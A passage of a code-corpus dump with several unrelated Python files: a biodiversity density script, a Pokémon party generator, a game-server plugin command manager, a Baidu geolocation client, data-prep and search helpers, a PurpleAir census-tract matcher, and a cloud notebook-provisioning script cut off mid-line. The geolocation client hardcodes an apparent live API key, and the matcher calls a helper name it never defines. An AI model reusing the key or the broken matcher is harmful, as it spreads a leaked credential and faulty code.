categories\r\n\r\n# Reads both dictionaries as the argument, calculates the density of flora and fauna in each park, then prints them. If the dictionary created from the species file does not have information about the parks in the parks, it will say \"no data available\" \r\ndef print_density(parks, categories):\r\n assert type(parks) == dict and type(categories) == dict\r\n for park in categories:\r\n assert type(categories[park]) == tuple # values of categories and parks need to be tuples \r\n for area in parks:\r\n assert type(parks[area]) == tuple\r\n if park == area:\r\n park_name = park\r\n assert type(categories[park][0]) == int \\\r\n and type(categories[park][1]) == int # elements of the tuple values in categories need to be integers\r\n flora_per_acre = categories[park][0] / parks[area][0] \r\n fauna_per_acre = categories[park][1] / parks[area][0] \r\n print(\"{} -- flora: {:f} per acre; fauna: {:f} per acre\".format(park_name, flora_per_acre, fauna_per_acre))\r\n for area in parks:\r\n if area not in categories: # indicates if a park in the park file is missing from the parks in the species file\r\n park_name = area\r\n print(\"{} -- no data available\".format(park_name)) \r\n \r\ndef main():\r\n a = init()\r\n a, b = species_init(a)\r\n assert type(a) == dict and type(b) == dict\r\n print_density(a, b)\r\nmain()","sub_path":"biodiversity.py","file_name":"biodiversity.py","file_ext":"py","file_size_in_byte":4050,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"358494555","text":"\"\"\"\nゲームシステム上有効なパーティのランダム生成・置換機構。\n\"\"\"\nimport copy\nimport random\nfrom enum import Enum, auto\nfrom typing import List, Dict, Tuple, Set\nimport os\nimport json\nfrom collections import defaultdict\nimport numpy as np\n\nfrom pokeai.agent.util import randint_len\nfrom pokeai.sim.dexno import Dexno\nfrom pokeai.sim.move import Move\nfrom pokeai.sim.move_learn_condition import MoveLearnType\nfrom pokeai.sim.move_learn_db import move_learn_db\nfrom pokeai.sim.party import Party\nfrom pokeai.sim.poke_static import PokeStatic\nfrom pokeai.sim.move_info_db import move_info_db\n\n\nclass PossiblePokeDB:\n \"\"\"\n あるレベルでのポケモン・技のありうる構成を示すデータベース\n \"\"\"\n\n allow_rare: bool\n data: Dict[Dexno, List[Tuple[Move, int]]] # ポケモンごとに、覚える技とそのレベル\n min_level: Dict[Dexno, int] # 入手可能最低レベル\n\n def __init__(self, allow_rare: bool):\n self.allow_rare = allow_rare\n self._construct_db()\n\n def _construct_db(self):\n with open(os.path.join(os.path.dirname(__file__), \"party_generation_db.json\")) as f:\n db = json.load(f)\n dexno_move_lv = {} # [dexno][move] = 覚える最低lv\n self.min_level = {}\n # LVアップ、技マシン技を追加\n for dexno, mlcs in move_learn_db.items():\n # 技マシン技はLV0扱い\n dexno_move_lv[dexno] = {mlc.move: mlc.lv for mlc in mlcs}\n # 野生で入手する場合の最低レベル設定\n for dexno_int, lv in db[\"wild_min_levels\"]:\n # 野生入手できないとき0が入っている\n self.min_level[Dexno(dexno_int)] = lv\n # 進化により、進化前の技を継承\n # LV16で進化→進化前がLV16以下で覚える技をLV16で覚え、LV20で覚える技はLV20で覚えるとして設定\n # レベルアップで2段階進化する場合、注意が必要\n # ゼニガメがハイドロポンプをLV42で覚えるが、レベル進化は1上がるごとに1段階しかできないため\n # カメールが継承できるのはLV42に対し、カメックスが継承できるのはLV43\n # LV進化のあと石進化ならこれは起きない\n # LV2段進化だけ特殊扱いする。初代ではこれで十分。金銀でも1段階目LV以外→2段階目LVというのはない。\n # LV2段進化のとき、1つ前からはLVそのまま、2つ前からはLV+1して技を継承。\n # 進化して技マシンが使えなくなるということはないはずなので、技マシン技には影響なし。\n # 継承技とLVUP技が混ざらないよう、最終進化系から先に調べる\n # 初代では、図鑑番号が大きいほうが最終進化系と考えてよい\n evol_to_from = {e_to: (e_from, e_lv) for e_to, e_from, e_lv in db[\"evolution_levels\"]}\n for dexno_int in reversed(sorted(evol_to_from.keys())): # 図鑑番号が大きいほうから\n dexno = Dexno(dexno_int)\n move_lv = dexno_move_lv[dexno]\n evol_from_1, evol_from_1_lv = evol_to_from[dexno_int] # 1段階前\n evol_from_1_dexno = Dexno(evol_from_1)\n if evol_from_1 in evol_to_from:\n # 2段階前\n evol_from_2, evol_from_2_lv = evol_to_from[evol_from_1]\n evol_from_2_dexno = Dexno(evol_from_2)\n lvlv = evol_from_1_lv != 0 and evol_from_2_lv != 0 # 2段階ともレベル進化\n if self.min_level[dexno] == 0:\n # レベル進化ならそのレベル、石進化(lv0)なら進化前の最低入手レベル\n if self.min_level[evol_from_1_dexno] > 0:\n # 1段階前が直接手に入る\n self.min_level[dexno] = max(evol_from_1_lv, self.min_level[evol_from_1_dexno])\n else:\n # 2段階前から進化させる必要あり\n self.min_level[dexno] = max(evol_from_1_lv, evol_from_2_lv, self.min_level[evol_from_2_dexno])\n # 技継承\n for inherit_move, inherit_move_lv in dexno_move_lv[evol_from_1_dexno].items():\n inherit_move_lv = max(inherit_move_lv, evol_from_1_lv) # 進化レベルより前で覚えても進化レベルになるまで継承できない\n if inherit_move not in move_lv or move_lv[inherit_move] > inherit_move_lv:\n move_lv[inherit_move] = inherit_move_lv\n # 2段階前から技継承\n for inherit_move, inherit_move_lv in dexno_move_lv[evol_from_2_dexno].items():\n if lvlv:\n inherit_move_lv += 1\n inherit_move_lv = max(inherit_move_lv, evol_from_1_lv,\n evol_from_2_lv) # 進化レベルより前で覚えても進化レベルになるまで継承できない\n if inherit_move not in move_lv or move_lv[inherit_move] > inherit_move_lv:\n move_lv[inherit_move] = inherit_move_lv\n else:\n # 1段階のみ進化\n if self.min_level[dexno] == 0:\n # レベル進化ならそのレベル、石進化(lv0)なら進化前の最低入手レベル\n self.min_level[dexno] = max(evol_from_1_lv, self.min_level[evol_from_1_dexno])\n # 技継承\n for inherit_move, inherit_move_lv in dexno_move_lv[evol_from_1_dexno].items():\n inherit_move_lv = max(inherit_move_lv, evol_from_1_lv) # 進化レベルより前で覚えても進化レベルになるまで継承できない\n if inherit_move not in move_lv or move_lv[inherit_move] > inherit_move_lv:\n move_lv[inherit_move] = inherit_move_lv\n self.data = {dexno: [(move, lv) for move, lv in move_lv.items()] for dexno, move_lv in dexno_move_lv.items()}\n if not self.allow_rare:\n # 入手レベルを101にすることで伝説利用不可とする\n for dexno_int in db[\"rares\"]:\n self.min_level[Dexno(dexno_int)] = 101\n self._drop_not_impelemted_moves()\n\n def _drop_not_impelemted_moves(self):\n implemented_moves = set(move_info_db.keys())\n for dexno in list(self.data.keys()):\n movelist = self.data[dexno]\n new_movelist = [item for item in movelist if item[0] in implemented_moves]\n self.data[dexno] = new_movelist\n\n def get_leanable_moves(self, dexno: Dexno, lv: int) -> List[Move]:\n \"\"\"\n 指定したポケモンが特定レベル時点で覚えられる技のリストを取得する。\n 特定レベルでは入手できないポケモンについては空のリストが返る。\n :param dexno:\n :param lv:\n :return:\n \"\"\"\n if self.min_level[dexno] > lv:\n return []\n return [move for move, lv_ in self.data[dexno] if lv >= lv_]\n\n\nclass PartyRule(Enum):\n LV55_1 = auto()\n LV100_1 = auto()\n LV30_3 = auto()\n LV50_3 = auto()\n LVSUM155_3 = auto()\n\n\nclass PartyGenerator:\n db: PossiblePokeDB\n n_member: int\n lvs: List[int]\n neighbor_move_remove_rate: float\n neighbor_move_add_rate: float\n neighbor_poke_change_rate: float\n\n def __init__(self, rule: PartyRule, allow_rare: bool = False,\n neighbor_move_remove_rate: float = 0.1,\n neighbor_move_add_rate: float = 0.1,\n neighbor_poke_change_rate: float = 0.1):\n self.db = PossiblePokeDB(allow_rare=allow_rare)\n if rule is PartyRule.LV55_1:\n self.lvs = [55]\n elif rule is PartyRule.LV100_1:\n self.lvs = [100]\n elif rule is PartyRule.LV30_3:\n self.lvs = [30, 30, 30]\n elif rule is PartyRule.LV50_3:\n self.lvs = [50, 50, 50]\n elif rule is PartyRule.LVSUM155_3:\n # 本来配分は自由([53,52,50]等もあり)だが当面固定\n self.lvs = [55, 50, 50]\n self.n_member = len(self.lvs)\n\n self.neighbor_move_remove_rate = neighbor_move_remove_rate\n self.neighbor_move_add_rate = neighbor_move_add_rate\n self.neighbor_poke_change_rate = neighbor_poke_change_rate\n\n def generate(self) -> Party:\n pokests = []\n dexnos = set()\n for lv in self.lvs:\n pokest = self._generate_poke(lv, dexnos)\n pokests.append(pokest)\n dexnos.add(pokest.dexno)\n random.shuffle(pokests) # 先頭をLV55に固定しない\n return Party(pokests)\n\n def _generate_poke(self, lv: int, exclude_dexnos: Set[Dexno]) -> PokeStatic:\n while True:\n dexno = random.choice(list(Dexno))\n if dexno in exclude_dexnos:\n continue\n learnable_moves = self.db.get_leanable_moves(dexno, lv)\n if len(learnable_moves) == 0:\n continue\n moves = random.sample(learnable_moves, min(4, len(learnable_moves)))\n pokest = PokeStatic.create(dexno, moves, lv)\n return pokest\n\n def generate_neighbor_party(self, party: Party) -> Party:\n \"\"\"\n 近傍の(1匹の技を1個だけ変更するか、別のポケモンにする)パーティを生成する。\n :param party:\n :return:\n \"\"\"\n pokests = [copy.deepcopy(poke.poke_static) for poke in party.pokes]\n target_idx = np.random.randint(len(pokests))\n if np.random.random() < self.neighbor_poke_change_rate:\n # ポケモンを新しいものに変更\n exclude_dexnos = {pokest.dexno for pokest in pokests}\n new_pokest = self._generate_poke(pokests[target_idx].lv, exclude_dexnos)\n pokests[target_idx] = new_pokest\n else:\n # 技を変更\n pokest = pokests[target_idx]\n moves = pokest.moves\n learnable_moves = self.db.get_leanable_moves(pokest.dexno, pokest.lv)\n for m in moves:\n learnable_moves.remove(m)\n if len(learnable_moves) == 0 and len(moves) == 1:\n # 技を1つしか覚えないポケモン(LV15未満のコイキング等)\n # どうしようもない\n pass\n elif len(learnable_moves) == 0 or (np.random.random() < self.neighbor_move_remove_rate and len(moves) > 1):\n # 技を消す\n moves.pop(randint_len(moves))\n elif np.random.random() < self.neighbor_move_add_rate and len(moves) < 4:\n # 技を足す\n moves.append(learnable_moves[randint_len(learnable_moves)])\n else:\n # 技を変更する\n new_move = learnable_moves[randint_len(learnable_moves)]\n moves[randint_len(moves)] = new_move\n return Party(pokests)\n","sub_path":"pokeai/agent/party_generator.py","file_name":"party_generator.py","file_ext":"py","file_size_in_byte":11078,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"420932919","text":"# ../plugins/command.py\n\n\"\"\"Provides a way to utilize sub-commands for a server command.\"\"\"\n\n# =============================================================================\n# >> IMPORTS\n# =============================================================================\n# Python Imports\n# Collections\nfrom collections import OrderedDict\n# Re\nimport re\n\n# Source.Python Imports\n# Commands\nfrom commands.server import server_command_manager\n# Core\nfrom core import AutoUnload\n# Plugins\nfrom plugins import plugins_logger\nfrom plugins import _plugin_strings\nfrom plugins.errors import PluginInstanceError\nfrom plugins.errors import PluginManagerError\nfrom plugins.instance import LoadedPlugin\nfrom plugins.manager import PluginManager\n\n\n# =============================================================================\n# >> ALL DECLARATION\n# =============================================================================\n__all__ = ('SubCommandManager',\n )\n\n\n# =============================================================================\n# >> GLOBAL VARIABLES\n# =============================================================================\n# Get the sp.plugins.command logger\nplugins_command_logger = plugins_logger.command\n\n\n# =============================================================================\n# >> CLASSES\n# =============================================================================\nclass SubCommandManager(AutoUnload, OrderedDict):\n \"\"\"Class used for executing sub-commands for the given console command.\"\"\"\n\n # Set the default class values for base attributes\n logger = plugins_command_logger\n translations = _plugin_strings\n\n def __init__(self, command, description='', prefix=''):\n \"\"\"Called on instance initialization.\"\"\"\n # Re-call OrderedDict's __init__ to properly setup the object\n super().__init__()\n\n # Does the class have a proper manager object assigned?\n if not (hasattr(self, 'manager') and\n isinstance(self.manager, PluginManager)):\n\n # If not, raise an error\n raise PluginManagerError(PluginManagerError.__doc__)\n\n # Does the class have a proper instance class assigned?\n if not (hasattr(self, 'instance') and\n issubclass(self.instance, LoadedPlugin)):\n\n # If not, raise an error\n raise PluginInstanceError(PluginInstanceError.__doc__)\n\n # Store the command\n self._command = command\n\n # Store the prefix\n self._prefix = prefix if prefix else '[{0}] '.format(\n self.command.upper())\n\n # Set the prefix for the manager and instance classes\n self.manager.prefix = self.instance.prefix = self.prefix\n\n # Set the instance class for the manager class\n self.manager.instance = self.instance\n\n # Register the server command\n server_command_manager.register_commands(\n self.command, self.call_command, description, 0)\n\n @property\n def manager(self):\n \"\"\"Raise an error if the inheriting class does not have their own.\"\"\"\n raise NotImplementedError('No manager attribute defined for class.')\n\n @property\n def instance(self):\n \"\"\"Raise an error if the inheriting class does not have their own.\"\"\"\n raise NotImplementedError('No instance attribute defined for class.')\n\n @property\n def command(self):\n \"\"\"Return the server command registered to the class.\"\"\"\n return self._command\n\n @property\n def prefix(self):\n \"\"\"Return the prefix to use in log messages.\"\"\"\n return self._prefix\n\n def _unload_instance(self):\n \"\"\"Unregister commands when the instance is unloaded.\"\"\"\n server_command_manager.unregister_commands(\n self.command, self.call_command)\n\n def call_command(self, command):\n \"\"\"Get the provided sub-command and executes accordingly.\"\"\"\n # Get the argument string\n arg_string = command.arg_string\n\n # Use try/except to split the argument string,\n # if it contains more than one argument\n try:\n\n # Split the argument string to get the sub-command\n sub_command, args = arg_string.split(maxsplit=1)\n\n # Were there not enough arguments to split?\n except ValueError:\n\n # Set the command to the entire string\n sub_command = arg_string.strip()\n\n # Set args to nothing\n args = ''\n\n # Split the remaining args\n args = args.split()\n\n # Make the sub-command lower-case\n sub_command = sub_command.lower()\n\n # Is the sub-command in the dictionary?\n if sub_command not in self:\n\n # Was a sub-command given?\n if sub_command:\n\n # Print a message about the invalid sub-command\n message = self.prefix + self.translations[\n 'Invalid Command'].get_string(subcommand=sub_command)\n\n # Was no sub-command given?\n else:\n\n # Print a message about the missing sub-command\n message = self.prefix + self.translations[\n 'No Command'].get_string(command=self.command)\n\n # Print the help text for the console command\n self.print_help(message)\n\n # No need to go further\n return\n\n # Does the given sub-command's callable allow for arguments?\n if hasattr(self[sub_command], 'args'):\n\n # Get the number of required arguments for the callable\n required = len([\n x for x in self[sub_command].args if x.startswith('<')])\n\n # Get the number of arguments provided\n given = len(args)\n\n # Were enough arguments provided?\n if given < required:\n\n # Print a message about the invalid number of arguments given\n self.logger.log_message(\n self.prefix + self.translations[\n 'Invalid Arguments'].get_string(\n command=self.command, subcommand=sub_command) +\n ' '.join(self[sub_command].args))\n\n # No need to go further\n return\n\n # Are all of the arguments required?\n if required == len(self[sub_command].args):\n\n # Were the correct number of arguments given?\n if given != required:\n\n # Print a message about the invalid\n # number of arguments given\n self.logger.log_message(\n self.prefix + self.translations[\n 'Invalid Arguments'].get_string(\n command=self.command, subcommand=sub_command) +\n ' '.join(self[sub_command].args))\n\n # No need to go further\n return\n\n # Call the sub-command's callable with the given arguments\n self[sub_command](*args)\n\n # No need to go further\n return\n\n # Does the current item have its own call_command method?\n if hasattr(self[sub_command], 'call_command'):\n\n # Call the instance's call_command method with the arguments\n self[sub_command].call_command(args)\n\n # No need to go further\n return\n\n # Call the callable without the arguments\n self[sub_command]()\n\n def print_help(self, message=''):\n \"\"\"Print all sub-commands for the console command.\"\"\"\n # Add a header message\n message += '\\n' + self.prefix + self.translations[\n 'Help'].get_string(command=self.command) + '\\n' + '=' * 78\n\n # Loop through all registered sub-commands\n for item in self:\n\n # Set the text\n text = str(item)\n\n # Does the current sub-command have its own print_help method?\n if hasattr(self[item], 'print_help'):\n\n # Get the instance's help text\n message += '\\n' + self[item].help_text\n\n # Continue to the next item\n continue\n\n # Does the current command have any arguments?\n if hasattr(self[item], 'args'):\n\n # Add the arguments to the text\n text += ' ' + ' '.join(self[item].args)\n\n # Add a message for the current command\n message += '\\n' + text + self[\n item].__doc__.rjust(78 - len(text))\n\n # Send the message\n self.logger.log_message(message + '\\n' + '=' * 78)\n\n def load_plugin(self, plugin_name):\n \"\"\"Load a plugin by name.\"\"\"\n # Is the given plugin name a proper name?\n if not self._is_valid_plugin_name(plugin_name):\n\n # Send a message that the given name is invalid\n self.logger.log_message(self.prefix + self.translations[\n 'Invalid Name'].get_string(plugin=plugin_name))\n\n # No need to go further\n return\n\n # Is the plugin already loaded?\n if plugin_name in self.manager:\n\n # Send a message that the plugin is already loaded\n self.logger.log_message(self.prefix + self.translations[\n 'Already Loaded'].get_string(plugin=plugin_name))\n\n # No need to go further\n return\n\n # Load the plugin and get its instance\n plugin = self.manager[plugin_name]\n\n # Was the plugin unable to be loaded?\n if plugin is None:\n\n # Send a message that the plugin was not loaded\n self.logger.log_message(self.prefix + self.translations[\n 'Unable to Load'].get_string(plugin=plugin_name))\n\n # No need to go further\n return\n\n # Send a message that the plugin was loaded\n self.logger.log_message(self.prefix + self.translations[\n 'Successful Load'].get_string(plugin=plugin_name))\n\n # Set the method's required arguments\n load_plugin.args = ['']\n\n def unload_plugin(self, plugin_name):\n \"\"\"Unload a plugin by name.\"\"\"\n # Is the given plugin name a proper name?\n if not self._is_valid_plugin_name(plugin_name):\n\n # Send a message that the given name is invalid\n self.logger.log_message(self.prefix + self.translations[\n 'Invalid Name'].get_string(plugin=plugin_name))\n\n # No need to go further\n return\n\n # Is the plugin loaded?\n if plugin_name not in self.manager:\n\n # Send a message that the plugin is not loaded\n self.logger.log_message(self.prefix + self.translations[\n 'Not Loaded'].get_string(plugin=plugin_name))\n\n # No need to go further\n return\n\n # Unload the plugin\n del self.manager[plugin_name]\n\n # Send a message that the plugin was unloaded\n self.logger.log_message(self.prefix + self.translations[\n 'Successful Unload'].get_string(plugin=plugin_name))\n\n # Set the method's required arguments\n unload_plugin.args = ['']\n\n def reload_plugin(self, plugin_name):\n \"\"\"Reload a plugin by name.\"\"\"\n # Is the given plugin name a proper name?\n if not self._is_valid_plugin_name(plugin_name):\n\n # Send a message that the given name is invalid\n self.logger.log_message(self.prefix + self.translations[\n 'Invalid Name'].get_string(plugin=plugin_name))\n\n # No need to go further\n return\n\n # Unload the plugin\n self.unload_plugin(plugin_name)\n\n # Load the plugin\n self.load_plugin(plugin_name)\n\n # Set the method's required arguments\n reload_plugin.args = ['']\n\n def print_plugins(self):\n \"\"\"Print all currently loaded plugins.\"\"\"\n # Get the header message\n message = self.prefix + self.translations[\n 'Plugins'].get_string() + '\\n' + '=' * 61 + '\\n\\n\\t'\n\n # Add all loaded plugins to the message\n message += '\\n\\t'.join(self.manager)\n\n # Add a breaker at the end of the message\n message += '\\n\\n' + '=' * 61\n\n # Send the message\n self.logger.log_message(message)\n\n @staticmethod\n def _is_valid_plugin_name(plugin_name):\n \"\"\"Return whether or not the given plugin name is valid.\"\"\"\n # Get the regular expression match for the given plugin name\n match = re.match('([A-Za-z][A-Za-z0-9_]*[A-Za-z0-9])$', plugin_name)\n\n # Return whether it is valid or not\n return False if match is None else match.group() == plugin_name\n","sub_path":"addons/source-python/packages/source-python/plugins/command.py","file_name":"command.py","file_ext":"py","file_size_in_byte":12682,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"412956871","text":"#!/usr/bin/env python\n#-*- coding:utf8 -*-\n\"\"\"the lbs entity\"\"\"\n\n__author__ = \"He Zhang\"\n__email__ = \"zhanghe@cnnic.cn\"\n__copyright__ = \"Copyright 2014, Cnnic\"\n__version__ = \"1.0.0\"\n__deprecated__ = False\n__date__ = \"2014-9-3 16:07:36\"\n\nimport json\nfrom spider import Spider\n\n\nclass LBS(object):\n \"\"\"Search the position thought latitude and longitude\"\"\"\n\n def __init__(self):\n \"\"\"Initialize the variable\"\"\"\n\n self.latitude = None\n self.longitude = None\n # the user key of 百度 open lbs api\n # get it from here: http://open.baidu.cn\n self.ak = '4Rg6gn4Ra60Ilafr01VX01te'\n\n def location(self, latitude, longitude):\n \"\"\"Search the position\n\n Args:\n latitude: the user latitude\n longitude: the user longitude\n\n return:\n the information of this position\n \"\"\"\n self.latitude = latitude\n self.longitude = longitude\n response = {}\n data = {\n 'ak': self.ak,\n 'location': '%s,%s' % (self.latitude, self.longitude),\n 'output': 'json'\n }\n # the 百度 open lbs api\n url = 'http://api.map.baidu.com/geocoder/v2/'\n try:\n spider = Spider()\n res = spider.spider_data(url=url, data=data)\n # if success and get the response data, return it\n if res.code == 200:\n rsp = json.loads(res.read())\n if rsp['status'] == 0:\n response = rsp['result']\n finally:\n return response","sub_path":"cn/cnnic/entity/lbs.py","file_name":"lbs.py","file_ext":"py","file_size_in_byte":1563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"432927626","text":"from __future__ import print_function\nimport pandas as pd\nimport pickle\nfrom config import Config\nfrom util import Util\n\ndef init_article_id_and_data(user_id_path, article_id_path, user_article_set_path, article_data_path):\n with open(user_id_path, \"rb\") as f:\n user_id = pickle.load(f)\n\n data = pd.read_csv(Config.post_path, header=None, encoding=\"UTF-8\", sep=\"\\001\")\n data.columns = [\"user\", \"blog\", \"time\"]\n data = data[data[\"user\"].isin(user_id)]\n article_id = data[\"blog\"]\n groups = data.groupby([\"user\"])\n\n user_article_set = dict()\n for m, item in groups:\n article_ids = item[\"blog\"]\n time = item[\"time\"]\n user_article_set[m] = zip(article_ids, time)\n\n Util.save_pkl(user_article_set, user_article_set_path)\n Util.save_pkl(list(article_id), article_id_path)\n article_id.to_frame(\"blog\").to_csv(article_data_path, index=False)\n\nif __name__ == '__main__':\n # print (Util.load_pkl(Config.train_article_id))\n init_article_id_and_data(Config.train_user_id, Config.train_article_id, Config.train_user_article_set, Config.train_article_data)","sub_path":"blog_feature/init_article.py","file_name":"init_article.py","file_ext":"py","file_size_in_byte":1108,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"151359749","text":"def search_list(a, x):\r\n n = len(a)\r\n result = []\r\n for i in range(0, n):\r\n if x == a[i]:\r\n result.append(i)\r\n return result\r\n\r\nv = [17, 92, 18, 33, 58, 7, 33, 42]\r\n\r\nprint(search_list(v, 18))\r\nprint(search_list(v, 33))\r\nprint(search_list(v, 900))\r\n \r\ndef get_name(s_no, s_name, find_no):\r\n n = len(s_no)\r\n for i in range(0, n):\r\n if find_no == s_no[i]:\r\n return s_name[i]\r\n return \"?\"\r\n\r\nsample_no = [39, 14, 67, 105]\r\nsample_name = [\"Justin\", \"John\", \"Mike\", \"Summer\"]\r\nprint(get_name(sample_no, sample_name, 105))\r\nprint(get_name(sample_no, sample_name, 777))\r\n","sub_path":"Algorithm/Search and Sort/Search/test_7.py","file_name":"test_7.py","file_ext":"py","file_size_in_byte":628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"38638769","text":"'''Function to match PurpleAir sensors to SES data. Also loads SES data.\nTo run do the following commands (as of 11/13):\n\nimport air as air\nimport matcher as match\ndata_stream_info = air.files_to_dataframe(glob.glob('../data/purple_air/*'))\nmatched_ses_data = match.station_matcher(data_stream_info)\n\nNote, you may have to change the imports depending on where you're running this from. If you are in the purple_haze folder this works.\n'''\n\n\nimport geopandas as gpd\nfrom geopandas.tools import sjoin\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pandas as pd\n\ndef get_stream_names(data_array , name10):\n '''This is a helper function that grabs the data stream file names in each census tract from the joined dataframe to append to the SES data\n If there are no data streams in a census tract it returns a nan.\n '''\n try:\n return data_array['all_names'][name10]\n except:\n return np.nan\n\n\ndef station_matcher(data_stream_df):\n '''This function will take in a dataframe that has the data stream file name, its lat, its lon, and possibly other stuff.\n It will then load in the SES data and match the purple air files to their respective census tract.\n Ultimately, it will return the SES data with a new column that is a list of the filenames of all Purple air data streams in that census\n tract.\n \n '''\n \n ses_file = '../data/seattle_ses_data/ses_data.shp'\n ses_data = gpd.read_file(ses_file)\n #Converting it to what is the default lat/lon format\n new_ses_data = ses_data.to_crs(epsg=4326)\n \n #Assume that the sensors lat/lon are in a Pandas Dataframe with columns of Lat and Lon\n #We will then convert it to a GeoDataFrame\n data_stream_gdf = gpd.GeoDataFrame(data_stream_df, geometry=gpd.points_from_xy(data_stream_df['lon'], data_stream_df['lat']), crs=\"EPSG:4326\")\n \n #Combine them with INNER!!! This retains the sensor file names\n combined = sjoin(new_ses_data, data_stream_gdf, how='inner', op='intersects')\n \n #Now we need to combine rows that have multiple entries\n #This 'NAME10' should be one unique name for each census tract. There are others too.\n grouped=combined.groupby('NAME10')\n \n #Make a new column called all_names that is a list of the names of each sensor seperated by commas\n #Note we could use an identifier for the sensors other than sensor name if we want\n #Would need to change the column='file' line if we wanted to do so\n aggregate=grouped.agg(all_names=pd.NamedAgg(column='file', aggfunc=','.join))\n \n #This is adding a new column to the original ses data that is called sensor_names\n #It has the same data that is in aggregate, but we have to do it this funny way I think (?)\n #Basically it goes row by row and uses our helper function (get_sensor_names) to grab the sensor names from aggregate\n new_ses_data['data_stream_file_names'] = new_ses_data.apply(lambda row: get_sensor_names(aggregate , row['NAME10']), axis=1)\n\n return new_ses_data\n \n","sub_path":"purple_haze/matcher.py","file_name":"matcher.py","file_ext":"py","file_size_in_byte":3014,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"444922872","text":"#!/usr/bin/python\n\n# *****************************************************************************\n#\n# Copyright (c) 2016, EPAM SYSTEMS INC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\n# ******************************************************************************\n\nimport logging\nimport json\nimport sys\nfrom dlab.fab import *\nfrom dlab.meta_lib import *\nfrom dlab.actions_lib import *\nimport os\nimport argparse\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--uuid', type=str, default='')\nargs = parser.parse_args()\n\nif __name__ == \"__main__\":\n instance_class = 'notebook'\n local_log_filename = \"{}_{}_{}.log\".format(os.environ['conf_resource'], os.environ['edge_user_name'],\n os.environ['request_id'])\n local_log_filepath = \"/logs/\" + os.environ['conf_resource'] + \"/\" + local_log_filename\n logging.basicConfig(format='%(levelname)-8s [%(asctime)s] %(message)s',\n level=logging.DEBUG,\n filename=local_log_filepath)\n\n # generating variables dictionary\n create_aws_config_files()\n edge_status = get_instance_status(os.environ['conf_service_base_name'] + '-Tag',\n os.environ['conf_service_base_name'] + '-' + os.environ['edge_user_name'] + '-edge')\n if edge_status != 'running':\n logging.info('ERROR: Edge node is unavailable! Aborting...')\n print('ERROR: Edge node is unavailable! Aborting...')\n ssn_hostname = get_instance_hostname(os.environ['conf_service_base_name'] + '-Tag', os.environ['conf_service_base_name'] + '-ssn')\n put_resource_status('edge', 'Unavailable', os.environ['ssn_dlab_path'], os.environ['conf_os_user'], ssn_hostname)\n append_result(\"Edge node is unavailable\")\n sys.exit(1)\n print('Generating infrastructure names and tags')\n notebook_config = dict()\n try:\n notebook_config['exploratory_name'] = os.environ['exploratory_name']\n except:\n notebook_config['exploratory_name'] = ''\n notebook_config['service_base_name'] = os.environ['conf_service_base_name']\n notebook_config['instance_type'] = os.environ['aws_notebook_instance_type']\n notebook_config['key_name'] = os.environ['conf_key_name']\n notebook_config['instance_name'] = '{}-{}-nb-{}-{}'.format(notebook_config['service_base_name'],\n os.environ['edge_user_name'],\n notebook_config['exploratory_name'], args.uuid)\n notebook_config['primary_disk_size'] = (lambda x: '30' if x == 'deeplearning' else '12')(os.environ['application'])\n notebook_config['role_profile_name'] = '{}-{}-nb-de-Profile' \\\n .format(notebook_config['service_base_name'].lower().replace('-', '_'), os.environ['edge_user_name'])\n notebook_config['security_group_name'] = '{}-{}-nb-SG'.format(notebook_config['service_base_name'],\n os.environ['edge_user_name'])\n notebook_config['tag_name'] = '{}-Tag'.format(notebook_config['service_base_name'])\n\n notebook_config['expected_image_name'] = '{}-{}-notebook-image'.format(notebook_config['service_base_name'],\n os.environ['application'])\n notebook_config['notebook_image_name'] = (lambda x: os.environ['notebook_image_name'] if x != 'None'\n else notebook_config['expected_image_name'])(str(os.environ.get('notebook_image_name')))\n print('Searching pre-configured images')\n notebook_config['ami_id'] = get_ami_id(os.environ['aws_{}_image_name'.format(os.environ['conf_os_family'])])\n image_id = get_ami_id_by_name(notebook_config['notebook_image_name'], 'available')\n if image_id != '':\n notebook_config['ami_id'] = image_id\n print('Pre-configured image found. Using: {}'.format(notebook_config['ami_id']))\n else:\n os.environ['notebook_image_name'] = os.environ['aws_{}_image_name'.format(os.environ['conf_os_family'])]\n print('No pre-configured image found. Using default one: {}'.format(notebook_config['ami_id']))\n \n tag = {\"Key\": notebook_config['tag_name'],\n \"Value\": \"{}-{}-subnet\".format(notebook_config['service_base_name'], os.environ['edge_user_name'])}\n notebook_config['subnet_cidr'] = get_subnet_by_tag(tag)\n keyfile_name = \"{}{}.pem\".format(os.environ['conf_key_dir'], os.environ['conf_key_name'])\n\n with open('/root/result.json', 'w') as f:\n data = {\"notebook_name\": notebook_config['instance_name'], \"error\": \"\"}\n json.dump(data, f)\n\n # launching instance for notebook server\n try:\n logging.info('[CREATE NOTEBOOK INSTANCE]')\n print('[CREATE NOTEBOOK INSTANCE]')\n params = \"--node_name {} --ami_id {} --instance_type {} --key_name {} --security_group_ids {} --subnet_id {} --iam_profile {} --infra_tag_name {} --infra_tag_value {} --instance_class {} --instance_disk_size {} --primary_disk_size {}\" \\\n .format(notebook_config['instance_name'], notebook_config['ami_id'], notebook_config['instance_type'],\n notebook_config['key_name'], get_security_group_by_name(notebook_config['security_group_name']),\n get_subnet_by_cidr(notebook_config['subnet_cidr']), notebook_config['role_profile_name'],\n notebook_config['tag_name'], notebook_config['instance_name'], instance_class,\n os.environ['notebook_disk_size'], notebook_config['primary_disk_size'])\n try:\n local(\"~/scripts/{}.py {}\".format('common_create_instance', params))\n except:\n 